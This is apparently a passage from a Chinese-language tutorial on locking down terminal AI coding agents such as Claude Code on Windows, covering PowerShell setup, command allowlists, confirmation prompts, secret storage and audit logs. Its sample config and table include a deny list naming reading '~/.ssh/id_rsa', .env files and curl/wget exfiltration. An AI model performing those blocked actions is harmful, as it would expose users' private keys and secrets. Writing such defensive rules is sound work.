安装并配置 Claude Code在隔离 bash、切换默认 shell 之后再安装 Claude Code能避免很多路径和权限问题。安装过程本身不复杂核心是 npm 全局安装npm install -g anthropic-ai/claude-code安装完成后先确认 npm 全局目录是否在 PATH 中npm prefix -gnpm prefix -g会输出 npm 全局安装目录例如C:\Users\你的用户名\AppData\Roaming\npm。如果这个目录不在 PATH 中claude命令就无法被识别。你可以把它加入用户 PATH也可以执行以下命令临时验证 $(npm prefix -g)\claude.cmd --version执行claude启动时首次运行会进入登录流程需要按官方指引授权。这里有一个安全提醒登录凭据和 API Key 要妥善保管不要写进项目代码也不要把包含密钥的.env文件放到 Agent 默认扫描目录下。4.4 第四步Pi Agent 的配置思路Pi Agent 这类工具配置核心和 Claude Code 类似指定执行 shell、控制命令授权、限定项目访问范围。不同 Agent 的具体配置字段不一样这里给出一个通用思路不绑定某一个工具# 示意配置具体字段名以你所使用的 Agent 文档为准 shell powershell.exe allowed_commands [ git status, git diff, git log, ls, cat, # 仅限项目内文件 npm test ] confirm_commands [ git push, git commit, rm, mv, npm install, pip install ] deny_commands [ cat ~/.ssh/id_rsa, curl, wget, sudo ] auto_execute false这段配置的意思是Agent 默认使用 PowerShell自动执行范围只包含低风险命令高风险命令需要人工确认高危命令直接拒绝。auto_execute false是最关键的一项表示 Agent 不能自动执行命令必须经过确认。如果你用的是社区版本的 Pi Agent可以把deny_commands看成一道硬边界因为 Agent 即使被提示词注入诱导也不能突破deny列表去执行命令。这个设计比单纯依赖模型自觉更可靠。4.5 第五步VSCode 终端配置联动很多 Agent 会话是在 VSCode 集成终端里启动的。如果 VSCode 的默认 profile 是 Git Bash那么即使你在系统级把 bash 隔离了VSCode 仍然可能以 bash 方式启动终端导致 Agent 重新进入 bash 环境。在 VSCode 的settings.json里加入以下配置{ terminal.integrated.profiles.windows: { PowerShell: { path: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe } }, terminal.integrated.defaultProfile.windows: PowerShell }配置完成后重新打开 VSCode点击终端面板右下角的“配置文件”按钮确认当前使用的是 PowerShell。这样 Agent 在 VSCode 启动的终端里也会使用 PowerShell避免 bash 路径残留的问题。4.6 第六步运行验证配置完成后建议做一轮完整的验证# 1. 确认 bash 已不可见 Get-Command bash # 2. 确认 git 命令仍然可用 Get-Command git # 3. 确认 claude 命令可用 Get-Command claude # 4. 确认 claude 版本 claude --version # 5. 启动 claude claude预期结果Get-Command bash提示找不到命令。Get-Command git输出路径末尾是\Git\cmd\git.exe。Get-Command claude输出路径末尾是\AppData\Roaming\npm\claude.cmd。claude --version输出对应版本号。claude进入交互界面说明配置成功。在 Claude Code 交互界面里可以找一个测试项目让它执行git status观察执行命令时是否不再弹 bash 相关授权提示。如果一切正常说明 Agent 已经切换到 PowerShell 环境运行。5. 常见问题与排查5.1 claude 不是内部或外部命令 / 无法识别 cmdlet这是 Windows 下安装 Claude Code 最常见的问题之一。错误提示通常是claude : 无法将“claude”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。或者claude 不是内部或外部命令也不是可运行的程序或批处理文件。出现这个报错说明系统找不到claude命令绝大多数情况是 npm 全局目录没有加入 PATH。排查步骤如下执行npm prefix -g查看 npm 全局目录。打开系统环境变量把该目录加入用户 PATH。重新打开终端执行Get-Command claude验证。如果还是不行执行npm ls -g --depth0检查 claude 是否真的安装成功。注意修改 PATH 后必须新开终端窗口才会生效在旧终端里执行命令仍然可能报错。5.2 -bash: claude: command not found这个报错一般出现在 Git Bash 或 WSL 终端里。即使claude在 PowerShell 中可用如果 bash 环境的 PATH 不包含 npm 全局目录就会提示找不到命令。如果坚持在 bash 环境使用可以临时执行export PATH$PATH:$(npm prefix -g)然后重新运行claude --version。但从本文的安全角度出发更推荐的做法是放弃 bash 环境统一使用 PowerShell。因为让 Agent 保留 bash 访问能力会让前面做的安全隔离失去意义。5.3 allow this bash command 频繁弹出有些同学发现Agent 执行命令时频繁弹出allow this bash command觉得很烦甚至想直接关闭确认功能。这里要明确频繁弹出是安全设计的一部分不是故障。如果确认功能被彻底关闭Agent 就可以在无监督情况下执行任意命令风险极高。更好的方式是收紧命令白名单把高频低风险命令加入自动执行列表而不是关闭确认。比如git status、ls这类命令完全可以自动执行而npm install、git push这类命令保持确认是合理的。5.4 删掉 Git Bash 后 git 命令还能用吗能用。git 命令行工具本身不依赖 Git Bash 环境。只要你保留了C:\Program Files\Git\cmd在 PATH 中PowerShell 和 CMD 里都可以正常使用git命令。验证方式Get-Command git如果输出路径指向C:\Program Files\Git\cmd\git.exe说明没问题。如果提示找不到命令只需要把Git\cmd加回 PATH 即可。5.5 VSCode 启动终端提示找不到 bash这个问题通常发生在 VSCode 的默认终端 profile 还指向 Git Bash 的情况下。你在系统里隔离了 bash但 VSCode 配置里还写了 bash 的路径所以启动终端时提示找不到 shell。解决办法是打开 VSCode 设置把默认 profile 改成 PowerShell并检查settings.json里是否存在旧的 bash 配置。可以参考 4.5 节的配置方式。下面是常见问题的汇总表问题现象常见原因解决思路claude 无法识别 cmdletnpm 全局目录未加入 PATH将 npm prefix -g 目录加入 PATH-bash: claude: command not foundbash 环境 PATH 不含 npm 全局目录使用 PowerShell 作为默认 shellallow this bash command 频繁弹出命令白名单未配置所有命令都需确认将安全命令加入白名单不要关闭确认隔离 bash 后 git 不可用PATH 中缺少 Git\cmd将 C:\Program Files\Git\cmd 加入 PATHVSCode 终端找不到 bash默认 profile 仍指向 bash将默认 profile 改为 PowerShell6. 最佳实践与工程建议6.1 给 Agent 一个“最小可用终端”删掉或隔离 BASH 工具只是第一步更完整的做法是给 Agent 提供“最小可用终端”。这个终端应该满足两个条件能完成日常编码任务但不能轻易访问敏感资源。具体手段可以包括使用容器隔离开发环境在容器内运行 Agent宿主机文件系统只挂载必要目录。为 Agent 创建专用系统账号限制其文件读写权限。在 PowerShell 里配置执行策略和脚本块日志记录 Agent 每次命令执行情况。禁止 Agent 访问~/.ssh、.env等敏感目录。这里的核心不是“让 Agent 什么都不能做”而是“让 Agent 只能做编码需要的操作”。越接近最小权限安全事故的爆炸半径就越小。6.2 命令白名单与人工确认结合命令授权不能走极端。完全不配置白名单Agent 每次执行命令都弹出确认会把人逼疯完全自动执行又会失去安全边界。推荐的做法是把命令分成三类命令类型示例授权方式自动执行git status、git diff、ls、cat 项目文件、npm test白名单自动执行人工确认git push、git reset、rm、mv、npm install、pip install每次执行前确认禁止执行sudo、读取 ssh 私钥、读取 .env、curl/wget 外发直接拒绝并记录日志特别注意npm install这类包管理命令。安装依赖时会执行第三方包里的postinstall脚本供应链风险很高不建议加入自动执行白名单。6.3 密钥与凭据管理很多 Agent 项目喜欢把 API Key、数据库密码放在.env文件里方便代码读取。但在 Agent 场景下.env是明文敏感文件Agent 随时可能因为排查问题把它读出来写进日志或注释。更稳妥的做法是开发环境使用系统级环境变量或密钥管理工具不要放进项目目录。即使必须使用.env也要在 Agent 配置里把.env加入禁止读取列表。区分开发密钥和生产密钥生产密钥永远不应该出现在本地开发环境。定期检查 git 历史防止.env被误提交。安全不是禁掉所有读取行为而是通过机制让敏感数据尽量少暴露在 Agent 可读范围内。6.4 日志与审计Agent 安全事故发生后最痛苦的事情是没有日志不知道它到底执行了什么命令、什么时候执行的、谁批准的。所以从第一天使用 Agent 开始就应该开启命令审计。在 Windows 上可以开启 PowerShell 脚本块日志记录所有能够捕获的 PowerShell 命令。对于 Claude Code 这类工具可以关注它自身的会话记录能力。Pi Agent 如果支持命令历史也要保留完整记录。审计日志本身要集中存放防止 Agent 执行删除日志的命令。如果条件允许日志可以发送到独立的日志平台或对象存储这样即使开发机被破坏审计记录仍然保留。6.5 版本与更新策略Claude Code、Pi Agent 这类工具迭代速度非常快几乎每隔一段时间就有新版本发布。很多安全问题不是旧版本才有的而是新版本行为变化引入的。因此不建议在关键项目里盲目使用 nightly 版或最新版。建议的做法是固定使用经过验证的版本升级前查看 release notes确认安全相关变更。在测试项目里先验证新版本行为再推广到日常项目。关注工具官方的安全公告了解已知漏洞和缓解措施。如果团队统一使用 Agent 工具应该有统一版本和统一配置避免每个人自己乱改。版本管理本身不是安全功能但它能减少“工具行为突然变化导致安全策略失效”的情况。稳定、可预期、可审计才是 Agent 安全配置的目标。7. 总结这篇文章从“工程师请删掉 BASH 工具”这个颇有争议的说法切入讲清楚了终端 Agent 调用 shell 的机制、BASH 工具在 Windows 环境下的安全风险、以及如何通过隔离 Git Bash、切换 PowerShell、配置命令白名单来收紧 Agent 权限边界。你可能发现删掉 BASH 工具并不是核心核心是让 Agent 在一个可控、可审计、最小权限的终端环境里工作。allow this bash command这类确认提示不是用来烦人的它是你守住安全边界的最后一道闸门。想要长期稳定使用 Claude Code、Pi Agent 这类工具真正值得做的是从第一天就建立命令白名单、保留审计日志、保护密钥文件而不是出了问题再补救。如果你读完这篇文章只记住一个行动项我建议先从“命令审计”开始把 Agent 执行的每一条命令记录下来观察一周你会比自己想象中更了解 Agent 到底做了什么。